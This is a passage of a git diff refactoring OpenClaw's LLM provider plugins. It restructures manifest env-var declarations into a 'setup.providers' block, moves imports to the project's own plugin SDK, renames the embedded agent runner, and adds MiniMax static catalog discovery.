cd2399c57fd..f0004b68b33 100644 --- a/extensions/huggingface/openclaw.plugin.json +++ b/extensions/huggingface/openclaw.plugin.json @@ -12,8 +12,13 @@ } } }, - "providerAuthEnvVars": { - "huggingface": ["HUGGINGFACE_HUB_TOKEN", "HF_TOKEN"] + "setup": { + "providers": [ + { + "id": "huggingface", + "envVars": ["HUGGINGFACE_HUB_TOKEN", "HF_TOKEN"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/inworld/openclaw.plugin.json b/extensions/inworld/openclaw.plugin.json index 5b458a3f1e7..49fca2e23bc 100644 --- a/extensions/inworld/openclaw.plugin.json +++ b/extensions/inworld/openclaw.plugin.json @@ -6,8 +6,13 @@ "enabledByDefault": true, "name": "Inworld", "description": "Inworld streaming text-to-speech (MP3, OGG_OPUS, PCM telephony).", - "providerAuthEnvVars": { - "inworld": ["INWORLD_API_KEY"] + "setup": { + "providers": [ + { + "id": "inworld", + "envVars": ["INWORLD_API_KEY"] + } + ] }, "contracts": { "speechProviders": ["inworld"] diff --git a/extensions/kilocode/index.test.ts b/extensions/kilocode/index.test.ts index b7b6bc2aa9d..aa8ca7a1dac 100644 --- a/extensions/kilocode/index.test.ts +++ b/extensions/kilocode/index.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { registerSingleProviderPlugin } from "openclaw/plugin-sdk/plugin-test-runtime"; import { expectPassthroughReplayPolicy } from "openclaw/plugin-sdk/provider-test-contracts"; import { describe, expect, it } from "vitest"; diff --git a/extensions/kilocode/openclaw.plugin.json b/extensions/kilocode/openclaw.plugin.json index 1107b9b9776..613fb2f11bc 100644 --- a/extensions/kilocode/openclaw.plugin.json +++ b/extensions/kilocode/openclaw.plugin.json @@ -17,8 +17,13 @@ } } }, - "providerAuthEnvVars": { - "kilocode": ["KILOCODE_API_KEY"] + "setup": { + "providers": [ + { + "id": "kilocode", + "envVars": ["KILOCODE_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/kimi-coding/implicit-provider.test.ts b/extensions/kimi-coding/implicit-provider.test.ts index 5b32ef9acd4..9d6421397ea 100644 --- a/extensions/kimi-coding/implicit-provider.test.ts +++ b/extensions/kimi-coding/implicit-provider.test.ts @@ -86,31 +86,18 @@ describe("Kimi implicit provider (#22409)", () => { }); }); - it("uses explicit legacy kimi-coding baseUrl when provided", async () => { + it("ignores retired kimi-coding provider overrides", async () => { const provider = await runKimiCatalogProvider({ apiKey: "test-key", explicitProvider: { baseUrl: "https://kimi.example.test/coding/", - }, - }); - - expect(provider.baseUrl).toBe("https://kimi.example.test/coding/"); - }); - - it("merges explicit legacy kimi-coding headers on top of the built-in user agent", async () => { - const provider = await runKimiCatalogProvider({ - apiKey: "test-key", - explicitProvider: { headers: { "User-Agent": "custom-kimi-client/1.0", - "X-Kimi-Tenant": "tenant-a", }, }, }); - expect(provider.headers).toEqual({ - "User-Agent": "custom-kimi-client/1.0", - "X-Kimi-Tenant": "tenant-a", - }); + expect(provider.baseUrl).toBe("https://api.kimi.com/coding/"); + expect(provider.headers).toEqual({ "User-Agent": "claude-code/0.1.0" }); }); }); diff --git a/extensions/kimi-coding/openclaw.plugin.json b/extensions/kimi-coding/openclaw.plugin.json index c2f66e9a024..f2044d8c6d8 100644 --- a/extensions/kimi-coding/openclaw.plugin.json +++ b/extensions/kimi-coding/openclaw.plugin.json @@ -37,9 +37,17 @@ } } }, - "providerAuthEnvVars": { - "kimi": ["KIMI_API_KEY", "KIMICODE_API_KEY"], - "kimi-coding": ["KIMI_API_KEY", "KIMICODE_API_KEY"] + "setup": { + "providers": [ + { + "id": "kimi", + "envVars": ["KIMI_API_KEY", "KIMICODE_API_KEY"] + }, + { + "id": "kimi-coding", + "envVars": ["KIMI_API_KEY", "KIMICODE_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/kimi-coding/package.json b/extensions/kimi-coding/package.json index 2c3084a4446..24f03be8cd1 100644 --- a/extensions/kimi-coding/package.json +++ b/extensions/kimi-coding/package.json @@ -4,9 +4,6 @@ "private": true, "description": "OpenClaw Kimi provider plugin", "type": "module", - "dependencies": { - "@earendil-works/pi-ai": "0.75.5" - }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" }, diff --git a/extensions/kimi-coding/stream.test.ts b/extensions/kimi-coding/stream.test.ts index ff9b2e770ff..42b77a8c79d 100644 --- a/extensions/kimi-coding/stream.test.ts +++ b/extensions/kimi-coding/stream.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createKimiThinkingWrapper, @@ -318,7 +318,7 @@ describe("kimi tool-call markup wrapper", () => { { id: "call_1", type: "function", - function: { name: "exec", arguments: "{\"command\":\"pwd\"}" }, + function: { name: "exec", arguments: '{"command":"pwd"}' }, }, ], }, @@ -359,7 +359,7 @@ describe("kimi tool-call markup wrapper", () => { { id: "call_1", type: "function", - function: { name: "exec", arguments: "{\"command\":\"pwd\"}" }, + function: { name: "exec", arguments: '{"command":"pwd"}' }, }, ], }, @@ -391,7 +391,7 @@ describe("kimi tool-call markup wrapper", () => { { id: "call_1", type: "function", - function: { name: "exec", arguments: "{\"command\":\"pwd\"}" }, + function: { name: "exec", arguments: '{"command":"pwd"}' }, }, ], }, @@ -418,7 +418,7 @@ describe("kimi tool-call markup wrapper", () => { { id: "call_1", type: "function", - function: { name: "exec", arguments: "{\"command\":\"pwd\"}" }, + function: { name: "exec", arguments: '{"command":"pwd"}' }, }, ], }, diff --git a/extensions/kimi-coding/stream.ts b/extensions/kimi-coding/stream.ts index a2a900e6dc1..0946415ba62 100644 --- a/extensions/kimi-coding/stream.ts +++ b/extensions/kimi-coding/stream.ts @@ -1,5 +1,9 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { + streamSimple, + type AssistantMessage, + type AssistantMessageEvent, +} from "openclaw/plugin-sdk/llm"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { streamWithPayloadPatch } from "openclaw/plugin-sdk/provider-stream-shared"; import { normalizeOptionalLowercaseString } from "openclaw/plugin-sdk/string-coerce-runtime"; @@ -18,6 +22,9 @@ type KimiToolCallBlock = { }; type KimiThinkingType = "enabled" | "disabled"; +interface MutableAssistantMessageEventStream extends AsyncIterable { + result: () => Promise; +} type KimiThinkingConfig = { type: KimiThinkingType; budget_tokens?: number; @@ -319,9 +326,9 @@ function transformKimiStreamEvent( } function wrapStreamMessageObjects( - stream: ReturnType, + stream: MutableAssistantMessageEventStream, transformMessage: (message: unknown) => void, -): ReturnType { +): MutableAssistantMessageEventStream { const readFinalMessage = stream.result.bind(stream); Object.assign(stream, { async result() { diff --git a/extensions/litellm/openclaw.plugin.json b/extensions/litellm/openclaw.plugin.json index 873d75bd776..68b4a5dcbfc 100644 --- a/extensions/litellm/openclaw.plugin.json +++ b/extensions/litellm/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["litellm"], - "providerAuthEnvVars": { - "litellm": ["LITELLM_API_KEY"] + "setup": { + "providers": [ + { + "id": "litellm", + "envVars": ["LITELLM_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/llm-task/src/llm-task-tool.test.ts b/extensions/llm-task/src/llm-task-tool.test.ts index fd0ac1c8f33..5413b1aea58 100644 --- a/extensions/llm-task/src/llm-task-tool.test.ts +++ b/extensions/llm-task/src/llm-task-tool.test.ts @@ -15,7 +15,7 @@ afterAll(() => { import { createLlmTaskTool } from "./llm-task-tool.js"; -const runEmbeddedPiAgent = vi.fn(async () => ({ +const runEmbeddedAgent = vi.fn(async () => ({ meta: { startedAt: Date.now() }, payloads: [{ text: "{}" }], })); @@ -57,7 +57,7 @@ function fakeApi(overrides: any = {}) { version: "test", agent: { defaults: { provider: "openai-codex", model: "gpt-5.2" }, - runEmbeddedPiAgent, + runEmbeddedAgent, resolveThinkingPolicy, normalizeThinkingLevel, }, @@ -69,15 +69,15 @@ function fakeApi(overrides: any = {}) { } function mockEmbeddedRunJson(payload: unknown) { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: JSON.stringify(payload) }], }); } function resetRunnerMocks() { - runEmbeddedPiAgent.mockReset(); - runEmbeddedPiAgent.mockImplementation(async () => ({ + runEmbeddedAgent.mockReset(); + runEmbeddedAgent.mockImplementation(async () => ({ meta: { startedAt: Date.now() }, payloads: [{ text: "{}" }], })); @@ -88,7 +88,7 @@ function resetRunnerMocks() { async function executeEmbeddedRun(input: Record) { const tool = createLlmTaskTool(fakeApi()); await tool.execute("id", input); - return (runEmbeddedPiAgent as any).mock.calls[0]?.[0]; + return (runEmbeddedAgent as any).mock.calls[0]?.[0]; } describe("llm-task tool (json-only)", () => { @@ -97,7 +97,7 @@ describe("llm-task tool (json-only)", () => { }); it("returns parsed json", async () => { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: JSON.stringify({ foo: "bar" }) }], }); @@ -107,7 +107,7 @@ describe("llm-task tool (json-only)", () => { }); it("strips fenced json", async () => { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: '```json\n{"ok":true}\n```' }], }); @@ -117,7 +117,7 @@ describe("llm-task tool (json-only)", () => { }); it("validates schema", async () => { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: JSON.stringify({ foo: "bar" }) }], }); @@ -134,7 +134,7 @@ describe("llm-task tool (json-only)", () => { it("validates caller schemas with repeated $id independently across calls", async () => { const tool = createLlmTaskTool(fakeApi()); - (runEmbeddedPiAgent as any) + (runEmbeddedAgent as any) .mockResolvedValueOnce({ meta: {}, payloads: [{ text: JSON.stringify({ foo: "bar" }) }], @@ -178,7 +178,7 @@ describe("llm-task tool (json-only)", () => { }); it("throws on invalid json", async () => { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: "not-json" }], }); @@ -187,7 +187,7 @@ describe("llm-task tool (json-only)", () => { }); it("throws on schema mismatch", async () => { - (runEmbeddedPiAgent as any).mockResolvedValueOnce({ + (runEmbeddedAgent as any).mockResolvedValueOnce({ meta: {}, payloads: [{ text: JSON.stringify({ foo: 1 }) }], }); @@ -238,7 +238,7 @@ describe("llm-task tool (json-only)", () => { await tool.execute("id", { prompt: "x", model: "gemini-flash" }); - const call = (runEmbeddedPiAgent as any).mock.calls[0]?.[0]; + const call = (runEmbeddedAgent as any).mock.calls[0]?.[0]; expect(call.provider).toBe("google"); expect(call.model).toBe("gemini-3-flash-preview"); }); @@ -264,7 +264,7 @@ describe("llm-task tool (json-only)", () => { await expect(tool.execute("id", { prompt: "x", thinking: "banana" })).rejects.toThrow( /invalid thinking level/i, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("throws on unsupported xhigh thinking level", async () => { diff --git a/extensions/llm-task/src/llm-task-tool.ts b/extensions/llm-task/src/llm-task-tool.ts index 14b457d8ff5..32cf48fa308 100644 --- a/extensions/llm-task/src/llm-task-tool.ts +++ b/extensions/llm-task/src/llm-task-tool.ts @@ -262,7 +262,7 @@ export function createLlmTaskTool(api: OpenClawPluginApi) { const sessionId = `llm-task-${Date.now()}`; const sessionFile = path.join(tmpDir, "session.json"); - const result = await api.runtime.agent.runEmbeddedPiAgent({ + const result = await api.runtime.agent.runEmbeddedAgent({ sessionId, sessionFile, workspaceDir: api.config?.agents?.defaults?.workspace ?? process.cwd(), diff --git a/extensions/lmstudio/openclaw.plugin.json b/extensions/lmstudio/openclaw.plugin.json index 3574bb9dffa..63f64ea6a0e 100644 --- a/extensions/lmstudio/openclaw.plugin.json +++ b/extensions/lmstudio/openclaw.plugin.json @@ -24,8 +24,13 @@ }, "nonSecretAuthMarkers": ["lmstudio-local"], "syntheticAuthRefs": ["lmstudio"], - "providerAuthEnvVars": { - "lmstudio": ["LM_API_TOKEN"] + "setup": { + "providers": [ + { + "id": "lmstudio", + "envVars": ["LM_API_TOKEN"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/lmstudio/package.json b/extensions/lmstudio/package.json index 83c2476ef6e..40770355bef 100644 --- a/extensions/lmstudio/package.json +++ b/extensions/lmstudio/package.json @@ -4,9 +4,6 @@ "private": true, "description": "OpenClaw LM Studio provider plugin", "type": "module", - "dependencies": { - "@earendil-works/pi-ai": "0.75.5" - }, "openclaw": { "extensions": [ "./index.ts" diff --git a/extensions/lmstudio/src/stream.test.ts b/extensions/lmstudio/src/stream.test.ts index 44674341452..6c545f7144a 100644 --- a/extensions/lmstudio/src/stream.test.ts +++ b/extensions/lmstudio/src/stream.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { resetLmstudioPreloadCooldownForTest, wrapLmstudioInferencePreload } from "./stream.js"; diff --git a/extensions/lmstudio/src/stream.ts b/extensions/lmstudio/src/stream.ts index f231d56cb9a..c73d4b4201e 100644 --- a/extensions/lmstudio/src/stream.ts +++ b/extensions/lmstudio/src/stream.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { streamSimple } from "openclaw/plugin-sdk/llm"; import { createSubsystemLogger } from "openclaw/plugin-sdk/logging-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { createPlainTextToolCallCompatWrapper } from "openclaw/plugin-sdk/provider-stream-shared"; @@ -13,6 +13,7 @@ const log = createSubsystemLogger("extensions/lmstudio/stream"); type StreamOptions = Parameters[2]; type StreamModel = Parameters[0]; + const preloadInFlight = new Map>(); /** diff --git a/extensions/matrix/src/tool-actions.ts b/extensions/matrix/src/tool-actions.ts index 582bbc20be1..a3253cbab21 100644 --- a/extensions/matrix/src/tool-actions.ts +++ b/extensions/matrix/src/tool-actions.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { normalizeOptionalLowercaseString } from "openclaw/plugin-sdk/string-coerce-runtime"; import { resolveMatrixAccountConfig } from "./matrix/accounts.js"; import { diff --git a/extensions/memory-core/src/flush-plan.ts b/extensions/memory-core/src/flush-plan.ts index cff32152b2a..ff9d5a20ca6 100644 --- a/extensions/memory-core/src/flush-plan.ts +++ b/extensions/memory-core/src/flush-plan.ts @@ -1,5 +1,5 @@ import { - DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR, + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, parseNonNegativeByteSize, resolveCronStyleNow, SILENT_REPLY_TOKEN, @@ -113,7 +113,7 @@ export function buildMemoryFlushPlan( DEFAULT_MEMORY_FLUSH_FORCE_TRANSCRIPT_BYTES; const reserveTokensFloor = normalizeNonNegativeInt(cfg?.agents?.defaults?.compaction?.reserveTokensFloor) ?? - DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR; + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR; const { timeLine, userTimezone } = resolveCronStyleNow(cfg ?? {}, nowMs); const dateStamp = formatDateStampInTimezone(nowMs, userTimezone); diff --git a/extensions/memory-core/src/memory-budget.test.ts b/extensions/memory-core/src/memory-budget.test.ts index 11adc9b95ed..c408027636e 100644 --- a/extensions/memory-core/src/memory-budget.test.ts +++ b/extensions/memory-core/src/memory-budget.test.ts @@ -169,7 +169,7 @@ describe("compactMemoryForBudget — bounded MEMORY.md compaction (regression fo it("exposes a sane default budget below the bootstrap injection cap", () => { // Bootstrap injection is capped at 12_000 chars per file (see - // src/agents/pi-embedded-helpers/bootstrap.ts). The MEMORY.md budget + // src/agents/embedded-agent-helpers/bootstrap.ts). The MEMORY.md budget // must stay strictly below that to leave room for headers and so // promoted content keeps reaching new sessions. expect(DEFAULT_MEMORY_FILE_MAX_CHARS).toBeLessThan(12_000); diff --git a/extensions/microsoft-foundry/openclaw.plugin.json b/extensions/microsoft-foundry/openclaw.plugin.json index 27c83ab2ea9..c20c58c0c39 100644 --- a/extensions/microsoft-foundry/openclaw.plugin.json +++ b/extensions/microsoft-foundry/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["microsoft-foundry"], - "providerAuthEnvVars": { - "microsoft-foundry": ["AZURE_OPENAI_API_KEY"] + "setup": { + "providers": [ + { + "id": "microsoft-foundry", + "envVars": ["AZURE_OPENAI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/minimax/index.test.ts b/extensions/minimax/index.test.ts index 78a211bc902..4f2c6415f87 100644 --- a/extensions/minimax/index.test.ts +++ b/extensions/minimax/index.test.ts @@ -1,7 +1,7 @@ import { readFileSync } from "node:fs"; import { resolve } from "node:path"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { registerProviderPlugin, requireRegisteredProvider, diff --git a/extensions/minimax/openclaw.plugin.json b/extensions/minimax/openclaw.plugin.json index 727de45578b..9d072b29443 100644 --- a/extensions/minimax/openclaw.plugin.json +++ b/extensions/minimax/openclaw.plugin.json @@ -6,11 +6,20 @@ "enabledByDefault": true, "legacyPluginIds": ["minimax-portal-auth"], "providers": ["minimax", "minimax-portal"], + "providerCatalogEntry": "./provider-discovery.ts", "autoEnableWhenConfiguredProviders": ["minimax", "minimax-portal"], "nonSecretAuthMarkers": ["minimax-oauth"], - "providerAuthEnvVars": { - "minimax": ["MINIMAX_CODE_PLAN_KEY", "MINIMAX_CODING_API_KEY", "MINIMAX_API_KEY"], - "minimax-portal": ["MINIMAX_OAUTH_TOKEN", "MINIMAX_API_KEY"] + "setup": { + "providers": [ + { + "id": "minimax", + "envVars": ["MINIMAX_CODE_PLAN_KEY", "MINIMAX_CODING_API_KEY", "MINIMAX_API_KEY"] + }, + { + "id": "minimax-portal", + "envVars": ["MINIMAX_OAUTH_TOKEN", "MINIMAX_API_KEY"] + } + ] }, "providerAuthAliases": { "minimax-cn": "minimax", diff --git a/extensions/minimax/provider-discovery.ts b/extensions/minimax/provider-discovery.ts new file mode 100644 index 00000000000..73b305e38e6 --- /dev/null +++ b/extensions/minimax/provider-discovery.ts @@ -0,0 +1,29 @@ +import type { ProviderPlugin } from "openclaw/plugin-sdk/provider-model-shared"; +import { buildMinimaxPortalProvider, buildMinimaxProvider } from "./provider-catalog.js"; + +const minimaxProviderDiscovery: ProviderPlugin[] = [ + { + id: "minimax", + label: "MiniMax", + docsPath: "/providers/minimax", + auth: [], + staticCatalog: { + order: "simple", + run: async (ctx) => ({ providers: { minimax: buildMinimaxProvider(ctx.env) } }), + }, + }, + { + id: "minimax-portal", + label: "MiniMax", + docsPath: "/providers/minimax", + auth: [], + staticCatalog: { + order: "simple", + run: async (ctx) => ({ + providers: { "minimax-portal": buildMinimaxPortalProvider(ctx.env) }, + }), + }, + }, +]; + +export default minimaxProviderDiscovery; diff --git a/extensions/minimax/provider-registration.ts b/extensions/minimax/provider-registration.ts index 4ed1cc79660..7ac15403be1 100644 --- a/extensions/minimax/provider-registration.ts +++ b/extensions/minimax/provider-registration.ts @@ -13,6 +13,7 @@ import { } from "openclaw/plugin-sdk/provider-auth"; import { buildOauthProviderAuthResult } from "openclaw/plugin-sdk/provider-auth"; import { createProviderApiKeyAuthMethod } from "openclaw/plugin-sdk/provider-auth-api-key"; +import type { ProviderPlugin } from "openclaw/plugin-sdk/provider-model-shared"; import { buildProviderReplayFamilyHooks } from "openclaw/plugin-sdk/provider-model-shared"; import { MINIMAX_FAST_MODE_STREAM_HOOKS } from "openclaw/plugin-sdk/provider-stream-family"; import { fetchMinimaxUsage } from "openclaw/plugin-sdk/provider-usage"; @@ -238,8 +239,8 @@ function createMinimaxOAuthMethod(region: MiniMaxRegion) { }; } -export function registerMinimaxProviders(api: OpenClawPluginApi) { - api.registerProvider({ +export function buildMinimaxApiProviderPlugin(): ProviderPlugin { + return { id: API_PROVIDER_ID, label: PROVIDER_LABEL, hookAliases: ["minimax-cn"], @@ -250,6 +251,10 @@ export function registerMinimaxProviders(api: OpenClawPluginApi) { order: "simple", run: async (ctx) => resolveApiCatalog(ctx), }, + staticCatalog: { + order: "simple", + run: async (ctx) => ({ providers: { [API_PROVIDER_ID]: buildMinimaxProvider(ctx.env) } }), + }, resolveUsageAuth: async (ctx) => { const portalOauth = await ctx.resolveOAuthToken({ provider: PORTAL_PROVIDER_ID }); if (portalOauth) { @@ -267,9 +272,11 @@ export function registerMinimaxProviders(api: OpenClawPluginApi) { await fetchMinimaxUsage(ctx.token, ctx.timeoutMs, ctx.fetchFn, { baseUrl: resolveMinimaxUsageBaseUrl(ctx.config), }), - }); + }; +} - api.registerProvider({ +export function buildMinimaxPortalProviderPlugin(): ProviderPlugin { + return { id: PORTAL_PROVIDER_ID, label: PROVIDER_LABEL, hookAliases: ["minimax-portal-cn"], @@ -278,8 +285,18 @@ export function registerMinimaxProviders(api: OpenClawPluginApi) { catalog: { run: async (ctx) => resolvePortalCatalog(ctx), }, + staticCatalog: { + run: async (ctx) => ({ + providers: { [PORTAL_PROVIDER_ID]: buildMinimaxPortalProvider(ctx.env) }, + }), + }, auth: [createMinimaxOAuthMethod("global"), createMinimaxOAuthMethod("cn")], ...MINIMAX_PROVIDER_HOOKS, isModernModelRef: ({ modelId }) => isMiniMaxModernModelId(modelId), - }); + }; +} + +export function registerMinimaxProviders(api: OpenClawPluginApi) { + api.registerProvider(buildMinimaxApiProviderPlugin()); + api.registerProvider(buildMinimaxPortalProviderPlugin()); } diff --git a/extensions/mistral/api.test.ts b/extensions/mistral/api.test.ts index 5f3d680d3aa..f1cf65b5857 100644 --- a/extensions/mistral/api.test.ts +++ b/extensions/mistral/api.test.ts @@ -8,7 +8,6 @@ import { resolveMistralCompatPatch, } from "./api.js"; import mistralPlugin from "./index.js"; -import { contributeMistralResolvedModelCompat } from "./provider-compat.js"; // oxlint-disable-next-line typescript/no-unnecessary-type-parameters -- Test helper lets assertions ascribe provider compat shape. function readCompat(model: unknown): T | undefined { @@ -157,39 +156,4 @@ describe("applyMistralModelCompat", () => { }), ).toEqual({ levels: [{ id: "off" }, { id: "high" }], defaultLevel: "off" }); }); - - it("contributes Mistral transport compat for native, provider-family, and hinted custom routes", () => { - expect( - contributeMistralResolvedModelCompat({ - modelId: "mistral-large-latest", - model: { - provider: "mistral", - api: "openai-completions", - baseUrl: "https://proxy.example/v1", - }, - }), - ).toEqual(MISTRAL_MODEL_TRANSPORT_PATCH); - - expect( - contributeMistralResolvedModelCompat({ - modelId: "custom-model", - model: { - provider: "custom-mistral-host", - api: "openai-completions", - baseUrl: "https://api.mistral.ai/v1", - }, - }), - ).toEqual(MISTRAL_MODEL_TRANSPORT_PATCH); - - expect( - contributeMistralResolvedModelCompat({ - modelId: "mistralai/mistral-small-3.2", - model: { - provider: "openrouter", - api: "openai-completions", - baseUrl: "https://openrouter.ai/api/v1", - }, - }), - ).toEqual(MISTRAL_MODEL_TRANSPORT_PATCH); - }); }); diff --git a/extensions/mistral/index.ts b/extensions/mistral/index.ts index 3f0f14d97ad..8561c71f349 100644 --- a/extensions/mistral/index.ts +++ b/extensions/mistral/index.ts @@ -4,7 +4,6 @@ import { mistralMediaUnderstandingProvider } from "./media-understanding-provide import { mistralMemoryEmbeddingProviderAdapter } from "./memory-embedding-adapter.js"; import { applyMistralConfig, MISTRAL_DEFAULT_MODEL_REF } from "./onboard.js"; import { buildMistralProvider } from "./provider-catalog.js"; -import { contributeMistralResolvedModelCompat } from "./provider-compat.js"; import { buildMistralRealtimeTranscriptionProvider } from "./realtime-transcription-provider.js"; const PROVIDER_ID = "mistral"; @@ -45,8 +44,6 @@ export default defineSingleProviderPluginEntry({ matchesContextOverflowError: ({ errorMessage }) => /\bmistral\b.*(?:input.*too long|token limit.*exceeded)/i.test(errorMessage), normalizeResolvedModel: ({ model }) => applyMistralModelCompat(model), - contributeResolvedModelCompat: ({ modelId, model }) => - contributeMistralResolvedModelCompat({ modelId, model }), resolveThinkingProfile: ({ modelId }) => modelId === MISTRAL_SMALL_LATEST_ID || modelId === MISTRAL_MEDIUM_3_5_ID ? { levels: [{ id: "off" }, { id: "high" }], defaultLevel: "off" } diff --git a/extensions/mistral/model-definitions.test.ts b/extensions/mistral/model-definitions.test.ts index 8a993c6a817..e4af04fe856 100644 --- a/extensions/mistral/model-definitions.test.ts +++ b/extensions/mistral/model-definitions.test.ts @@ -17,7 +17,7 @@ function catalogModelById(models: ReturnType, } describe("mistral model definitions", () => { - it("uses current Pi pricing for the bundled default model", () => { + it("uses current OpenClaw pricing for the bundled default model", () => { const model = buildMistralModelDefinition(); expect(model.id).toBe(MISTRAL_DEFAULT_MODEL_ID); expect(model.contextWindow).toBe(MISTRAL_DEFAULT_CONTEXT_WINDOW); diff --git a/extensions/mistral/openclaw.plugin.json b/extensions/mistral/openclaw.plugin.json index 2c30f6c947c..3f962d51816 100644 --- a/extensions/mistral/openclaw.plugin.json +++ b/extensions/mistral/openclaw.plugin.json @@ -138,8 +138,13 @@ "mistral": "static" } }, - "providerAuthEnvVars": { - "mistral": ["MISTRAL_API_KEY"] + "setup": { + "providers": [ + { + "id": "mistral", + "envVars": ["MISTRAL_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/mistral/provider-compat.ts b/extensions/mistral/provider-compat.ts deleted file mode 100644 index 448333b4dff..00000000000 --- a/extensions/mistral/provider-compat.ts +++ /dev/null @@ -1,62 +0,0 @@ -import { resolveProviderRequestCapabilities } from "openclaw/plugin-sdk/provider-http"; -import { - normalizeLowercaseStringOrEmpty, - readStringValue, -} from "openclaw/plugin-sdk/string-coerce-runtime"; -import { MISTRAL_MODEL_TRANSPORT_PATCH } from "./api.js"; - -const MISTRAL_MODEL_HINTS = [ - "mistral", - "mistralai", - "mixtral", - "codestral", - "pixtral", - "devstral", - "ministral", -] as const; - -function isMistralModelHint(modelId: string): boolean { - const normalized = normalizeLowercaseStringOrEmpty(modelId); - return MISTRAL_MODEL_HINTS.some( - (hint) => - normalized === hint || - normalized.startsWith(`${hint}/`) || - normalized.startsWith(`${hint}-`) || - normalized.startsWith(`${hint}:`), - ); -} - -function shouldContributeMistralCompat(params: { - modelId: string; - model: { api?: unknown; baseUrl?: unknown; provider?: unknown; compat?: unknown }; -}): boolean { - if (params.model.api !== "openai-completions") { - return false; - } - - const capabilities = resolveProviderRequestCapabilities({ - provider: readStringValue(params.model.provider), - api: "openai-completions", - baseUrl: readStringValue(params.model.baseUrl), - capability: "llm", - transport: "stream", - modelId: params.modelId, - compat: - params.model.compat && typeof params.model.compat === "object" - ? (params.model.compat as { supportsStore?: boolean }) - : undefined, - }); - - return ( - capabilities.knownProviderFamily === "mistral" || - capabilities.endpointClass === "mistral-public" || - isMistralModelHint(params.modelId) - ); -} - -export function contributeMistralResolvedModelCompat(params: { - modelId: string; - model: { api?: unknown; baseUrl?: unknown; provider?: unknown; compat?: unknown }; -}) { - return shouldContributeMistralCompat(params) ? MISTRAL_MODEL_TRANSPORT_PATCH : undefined; -} diff --git a/extensions/moonshot/index.test.ts b/extensions/moonshot/index.test.ts index bd7105ae2e4..fcc29a30f81 100644 --- a/extensions/moonshot/index.test.ts +++ b/extensions/moonshot/index.test.ts @@ -1,5 +1,5 @@ import fs from "node:fs"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { registerSingleProviderPlugin } from "openclaw/plugin-sdk/plugin-test-runtime"; import { createCapturedThinkingConfigStream } from "openclaw/plugin-sdk/provider-test-contracts"; import { describe, expect, it } from "vitest"; @@ -7,7 +7,13 @@ import plugin from "./index.js"; import { createKimiWebSearchProvider } from "./src/kimi-web-search-provider.js"; type MoonshotManifest = { - providerAuthEnvVars?: Record; + providerAuthAliases?: Record; + setup?: { + providers?: Array<{ + id?: string; + envVars?: string[]; + }>; + }; }; function readManifest(): MoonshotManifest { @@ -18,13 +24,25 @@ function readManifest(): MoonshotManifest { describe("moonshot provider plugin", () => { it("mirrors Kimi web-search env credentials in manifest metadata", () => { - const manifestEnvVars = readManifest().providerAuthEnvVars?.moonshot ?? []; + const manifestEnvVars = + readManifest().setup?.providers?.find((provider) => provider.id === "moonshot")?.envVars ?? + []; expect([...manifestEnvVars].toSorted()).toStrictEqual( [...createKimiWebSearchProvider().envVars].toSorted(), ); }); + it("declares shipped 